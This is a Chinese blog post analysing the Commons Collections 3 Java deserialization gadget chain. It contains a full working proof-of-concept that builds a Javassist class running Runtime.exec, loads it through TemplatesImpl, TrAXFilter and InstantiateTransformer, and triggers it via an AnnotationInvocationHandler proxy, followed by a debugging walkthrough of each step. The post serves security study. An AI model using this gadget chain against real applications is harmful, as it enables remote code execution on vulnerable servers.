Java安全之Commons Collections3分析
Java安全之Commons Collections3分析
文章首发:Java安全之Commons Collections3分析
0x00 前言
在学习完成前面的CC1链和CC2链后,其实再来看CC3链会比较轻松。CC1的利用链是
Map(Proxy).entrySet()触发AnnotationInvocationHandler.invoke(),而CC2链的利用链是通过InvokerTransformer.transform()调用newTransformer触发RCE。这里就不说这么详细感兴趣可以看前面几篇文章。听说CC3链是CC1和CC2链的结合体。下面来分析一下CC3链。
0x01 前置知识
在CC3利用链的构造里面其实没有用到很多的新的一些知识点,但是有用到新的类,还是需要记录下来。
InstantiateTransformer
首先还是查看一下构造方法。

在查看下面的代码的时候会发现他的transform方法非常的有意思。

transform方法会去使用反射实例化一个对象并且返回。
TrAXFilter
查看TrAXFilter的构造方法,会发现更有意思的事情

_transformer = (TransformerImpl) templates.newTransformer();
调用了传入参数的newTransformer()方法。在CC2链分析的时候,使用的是反射调用newTransformer,newTransformer调用defineTransletClasses()。最后再调用_class.newInstance()实例化_class对象。那么如果是使用TrAXFilter的话,就不需要InvokerTransformer的transform方法反射去调用了。
0x02 POC分析
package com.test;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import javassist.CannotCompileException;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.NotFoundException;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.map.LazyMap;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.Map;
public class cc1 {
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, IOException, IllegalAccessException, InvocationTargetException, InstantiationException, NotFoundException, CannotCompileException, NoSuchFieldException {
String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
ClassPool classPool=ClassPool.getDefault();
classPool.appendClassPath(AbstractTranslet);
CtClass payload=classPool.makeClass("CommonsCollections333333333");
payload.setSuperclass(classPool.get(AbstractTranslet));
payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");
byte[] bytes=payload.toBytecode();
Object templatesImpl=Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();
Field field=templatesImpl.getClass().getDeclaredField("_bytecodes");
field.setAccessible(true);
field.set(templatesImpl,new byte[][]{bytes});
Field field1=templatesImpl.getClass().getDeclaredField("_name");
field1.setAccessible(true);
field1.set(templatesImpl,"test");
Transformer[] transformers=new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templatesImpl})
};
ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
Map map=new HashMap();
Map lazyMap= LazyMap.decorate(map,chainedTransformer);
Class cls=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor=cls.getDeclaredConstructor(Class.class,Map.class);
constructor.setAccessible(true);
InvocationHandler invocationHandler=(InvocationHandler)constructor.newInstance(Override.class,lazyMap);
Map map1=(Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),LazyMap.class.getInterfaces(),invocationHandler);
Object object=constructor.newInstance(Override.class,map1);
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("test.out"));
outputStream.writeObject(object);
outputStream.close();
ObjectInputStream inputStream=new ObjectInputStream(new FileInputStream("test.out"));
inputStream.readObject();
}
}
上面是一段POC代码,先来分析一下,POC为什么要这样去构造。
String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
ClassPool classPool=ClassPool.getDefault();
classPool.appendClassPath(AbstractTranslet);
CtClass payload=classPool.makeClass("CommonsCollections22222222222");
payload.setSuperclass(classPool.get(AbstractTranslet));
payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");
byte[] bytes=payload.toBytecode();
先来执行一遍看一下执行的结果

能够执行成功并且弹出计算器。
其实看到代码前面部分,和CC2利用链的构造是一模一样的。在CC2链中分析文章里面讲到过。这里就来简单概述一下。
这里是采用了Javassist方式创建一个类,然后设置该类的主体为Runtime.exec("clac.exe"),设置完成后,将该类转换成字节码。
Object templatesImpl=Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();
Field field=templatesImpl.getClass().getDeclaredField("_bytecodes");
field.setAccessible(true);
field.set(templatesImpl,new byte[][]{bytes});
Field field1=templatesImpl.getClass().getDeclaredField("_name");
field1.setAccessible(true);
field1.set(templatesImpl,"test");
反射获取TemplatesImpl类的_bytecodes成员变量,设置值为上面使用Javassist类转换后的字节码。
反射获取TemplatesImpl类的_name成员变量,设置值为test。
Transformer[] transformers=new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templatesImpl})
};
ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
ConstantTransformer在调用transform方法的时候,会遍历的去调用数组里面transform方法。并且将执行结果传入到第二次遍历执行的参数里面。

第一次执行this.iTransformers[i]为ConstantTransformer。所以,调用的是ConstantTransformer的transform方法该方法是直接返回传入的对象。这里返回了个TrAXFilter.class对象。

而在第二次遍历执行的时候传入的就是TrAXFilter.class对象,然后再反射的去获取方法,使用newInstance实例化一个对象并且进行返回。

Map map=new HashMap();
Map lazyMap= LazyMap.decorate(map,chainedTransformer);
这里是将上面构造好的ChainedTransformer的实例化对象,传入进去。在调用lazyMap的get方法的时候,就会去调用构造好的ChainedTransformer对象的transform方法。

那么下面就会引出lazyMap的get方法的调用问题,再来看下面一段代码。
Class cls=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor=cls.getDeclaredConstructor(Class.class,Map.class);
constructor.setAccessible(true);
InvocationHandler invocationHandler=(InvocationHandler)constructor.newInstance(Override.class,lazyMap);
Map map1=(Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),LazyMap.class.getInterfaces(),invocationHandler);
Object object=constructor.newInstance(Override.class,map1);
反射创建了一个AnnotationInvocationHandler对象,传入Override.class和lazyMap的对象,并使用AnnotationInvocationHandler作为调用处理器,为lazyMap做一个动态代理。关于这里为什么要传入一个Override.class的问题,其实因为AnnotationInvocationHandler本来就是一个处理注解的类,构造方法的第⼀个参数是⼀个Annotation类类型参数,第二个是map类型参数(所有的注解类型都继承自这个Annotation接口)。在这里面不管传入的是Retention.class还是Override.class都是可行的。
这的lazyMap作为被代理的对象后,调用任意的方法都会去执行调用处理器的invoke方法。AnnotationInvocationHandler实现了InvocationHandler ,可以被当作调用处理器传入。而我们在这时候调用lazyMap的任意方法的话,就会执行一次AnnotationInvocationHandler中的invoke方法。而在AnnotationInvocationHandler的invoke方法中就会调用get方法。

在调用get方法后又回到了前面说到的地方,这里就会去调用transform方法去完成后面的命令执行。这里先不细说。

在分析完POC代码后其实并没有去看到一个完整的调用链,这里有必要去调试一遍。
0x03 CC3链调试
先在AnnotationInvocationHandler的readobject方法中去打个断点进行调试分析

在这里可以看到这里的this.memberValues的值为被代理的lazyMap的对象,调用了lazyMap的entrySet方法。那么这时候被代理对象的调用处理器的invoke方法会执行。前面说过使用的AnnotationInvocationHandler作为调用处理器,这里调用的就是AnnotationInvocationHandler的invoke方法,跟进一下invoke方法。

invoke方法在内部调用了lazyMap的get方法,再来跟进一下get方法

到这里其实就能看到了 this.factory.transform(key);,调用了transform方法,在这里的this.factory为ChainedTransformer的实例化对象。再来跟进一下transform方法就能看到ChainedTransformer的transform内部的调用结构。

在POC构造的时候为ChainedTransformer这个对象传入了一个数组,数组的第一值为ConstantTransformer实例化对象,第二个为InstantiateTransformer实例化对象。
所以在这里第一次遍历this.iTransformers[i]的值为ConstantTransformer。ConstantTransformer的transform会直接返回传入的对象。在POC代码构造的时候,传入的是TrAXFilter对象,所以在这里会直接进行返回TrAXFilter,并且会作为第二次遍历的传参值。

而在第二次遍历的时候,this.iTransformers[i]的值为InstantiateTransformer的实例化对象。所以调用的是InstantiateTransformer的transform方法并且传入了TrAXFilter对象。跟进一下InstantiateTransformer的transform方法。

这里其实是比较有意思的,刚刚传入的是TrAXFilter对象,所以这里的input为TrAXFilter,this.iParamTypes为Templates,this.iArgs为构造好的恶意TemplatesImpl实例化对象。(这里之所以说他是恶意的TemplatesImpl对象是因为在前面使用反射将他的_bytecodes设置成了一个使用javassist动态创建的恶意类的字节码)
该transform方法中使用getConstructor方法获取TrAXFilter参数为Templates的构造方法。

使用该构造方法创建一个对象,并且传入恶意的TemplatesImpl实例化对象。在该构造方法当中会调用TemplatesImpl的newTransformer方法。跟进一下newTransformer方法。

newTransformer方法内部调用了getTransletInstance方法再跟进一下。

这里可以看到先是判断了_name的值是否为空,为空的话就会执行返回null,不向下执行。这也是前面为什么使用反射获取并且修改_name值的原因。
下面一步是判断_class是否为空,显然我们这里的_class值是null,这时候就会调用defineTransletClasses方法,跟进一下。

下面标注出来这段是_bytecodes对_class进行赋值,这里的_bytecodes的值是使用javassist动态创建的恶意类的字节码 执行完后,来到下一步。


这里会对该字节码进行调用newInstance方法实例化一个对象,然后就可以看到命令执行成功。

关于这个为什么调用newInstance实例化一个对象,命令就直接执行成功的问题,其实我的在CC2链分析里面也说到过,主要还是看使用javassist动态创建一个类的时候,他是怎么去构造的。
ClassPool classPool=ClassPool.getDefault();
classPool.appendClassPath(AbstractTranslet);
CtClass payload=classPool.makeClass("CommonsCollections22222222222");
payload.setSuperclass(classPool.get(AbstractTranslet)); payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");
payload.writeFile("./");
先将该类写出来到文件中,然后再去查看。

看到这个其实就一目了然了,使用setBody设置主体的时候,代码其实是插入在静态代码块中的。静态代码块的代码在实例化对象的时候就会进行执行。
调用链
AnnotationInvocationHandler.readobject->(proxy)lazyMap.entrySet
->AnnotationInvocationHandler.invoke->lazyMap.get
->ChainedTransformer.transform->ConstantTransformer.transform
->InstantiateTransformer.transform->TrAXFilter(构造方法)
->TemplatesImpl.newTransformer->TemplatesImpl.getTransletInstance
->TemplatesImpl.defineTransletClasses
->(动态创建的类)cc2.newInstance()->Runtime.exec()
0x04 结尾
其实在调试CC3这条利用链的时候,会发现前半部分使用的是CC2利用链的POC代码,而后半部分则是CC1的利用链代码。调试过这两条利用链的话,调试CC3这条利用链会比较简单易懂。
在写这篇文的时候,第一次刚码完字,电脑就蓝屏了。重新打开文件的时候,文章的文件也清空了。只能重写一遍,但是重写完后,发现虽然字数也差不多,但是感觉细节点的地方还是少了东西,但是又不知道具体在哪些地方少了。
Java安全之Commons Collections3分析的更多相关文章
- Ysoserial Commons Collections3分析
Ysoserial Commons Collections3分析 写在前面 CommonsCollections Gadget Chains CommonsCollection Version JDK ...
- Java安全之Commons Collections1分析(二)
Java安全之Commons Collections1分析(二) 0x00 前言 续上篇文,继续调试cc链.在上篇文章调试的cc链其实并不是一个完整的链.只是使用了几个方法的的互相调用弹出一个计算器. ...
- Java安全之Commons Collections1分析(一)
Java安全之Commons Collections1分析(一) 0x00 前言 在CC链中,其实具体执行过程还是比较复杂的.建议调试前先将一些前置知识的基础给看一遍. Java安全之Commons ...
- Java安全之Commons Collections1分析前置知识
Java安全之Commons Collections1分析前置知识 0x00 前言 Commons Collections的利用链也被称为cc链,在学习反序列化漏洞必不可少的一个部分.Apache C ...
- Java安全之Commons Collections1分析(三)
Java安全之Commons Collections1分析(三) 0x00 前言 继续来分析cc链,用了前面几篇文章来铺垫了一些知识.在上篇文章里,其实是硬看代码,并没有去调试.因为一直找不到JDK的 ...
- Java安全之Commons Collections2分析
Java安全之Commons Collections2分析 首发:Java安全之Commons Collections2分析 0x00 前言 前面分析了CC1的利用链,但是发现在CC1的利用链中是有版 ...
- Java安全之Commons Collections5分析
Java安全之Commons Collections5分析 文章首发:Java安全之Commons Collections5分析 0x00 前言 在后面的几条CC链中,如果和前面的链构造都是基本一样的 ...
- Java安全之Commons Collections7分析
Java安全之Commons Collections7分析 0x00 前言 本文讲解的该链是原生ysoserial中的最后一条CC链,但是实际上并不是的.在后来随着后面各位大佬们挖掘利用链,CC8,9 ...
- Java安全之Commons Collections6分析
Java安全之Commons Collections6分析 0x00 前言 其实在分析的几条链中都大致相同,都是基于前面一些链的变形,在本文的CC6链中,就和前面的有点小小的区别.在CC6链中也和CC ...
随机推荐
- 对比 Redis 中 RDB 和 AOF 持久化
概念 Redis 是内存数据库,数据存储在内存中,一旦服务器进程退出,数据就丢失了,所以 Redis 需要想办法将存储在内存中的数据持久化到磁盘. Redis 提供了两种持久化功能: RDB (Red ...
- Magicodes.IE 2.3重磅发布——.NET Core开源导入导出库
在2.3这一版本的更新中,我们迎来了众多的使用者.贡献者,在这个里程碑中我们也添加并修复了一些功能.对于新特点的功能我将在下面进行详细的描述,当然也欢迎更多的人可以加入进来,再或者也很期待大家来提is ...
- node.js conditionDebug VScode 配置
launch.json { // 使用 IntelliSense 了解相关属性. // 悬停以查看现有属性的描述. // 欲了解更多信息,请访问: https://go.microsoft.com/f ...
- 我还在生产玩 JDK7,JDK 15 却要来了!
自从 JDK9 之后,每年 3 月与 9 月 JDK 都会发布一个新的版本,而2020 年 9 月即将引来 JDK15. 恰巧 IDEA 每四五个月会升级一个较大的版本,每次升级之后都会支持最新版本 ...
- Django request
''' 1.HttpRequest.GET 一个类似于字典的对象,包含 HTTP GET 的所有参数.详情请参考 QueryDict 对象. 2.HttpRequest.POST 一个类似于字典的对象 ...
- 刷题[CISCN2019 华北赛区 Day2 Web1]Hack World
解题思路 打开发现是很简单的页面,告诉了表名和列名,只需知道字段即可 尝试一下,输入1,2都有内容,后面无内容.输入1'让他报错,发现返回bool(false) 大概思路就是布尔型注入了,通过不断返回 ...
- windows 10 启动修复无法自动修复此计算机
1. 失败后有两个选项卡:关机和高级选项,选择高级选项 2. 然后选择疑难解答 3. 选择高级选项 4. 选择回退到以前的版本 接下来需要登录,选择恢复到上一次正常启动的状态,注意选择保留数据,会有提 ...
- 088 01 Android 零基础入门 02 Java面向对象 02 Java封装 01 封装的实现 02 封装的代码实现
088 01 Android 零基础入门 02 Java面向对象 02 Java封装 01 封装的实现 02 封装的代码实现 本文知识点:Java封装的代码实现 说明:因为时间紧张,本人写博客过程中只 ...
- 038 01 Android 零基础入门 01 Java基础语法 04 Java流程控制之选择结构 05 案例演示switch结构-星期的表示案例以及总结
038 01 Android 零基础入门 01 Java基础语法 04 Java流程控制之选择结构 05 案例演示switch结构-星期的表示案例以及总结 本文知识点:案例演示switch结构并对sw ...
- 2-K8S常用命令
kubectl 命令行管理工具 类型 命令 描述 基础命令 create 通过文件名或标准输入创建资源 expose 为Deployment,Pod创建service run 在集群中运行一个特定的镜 ...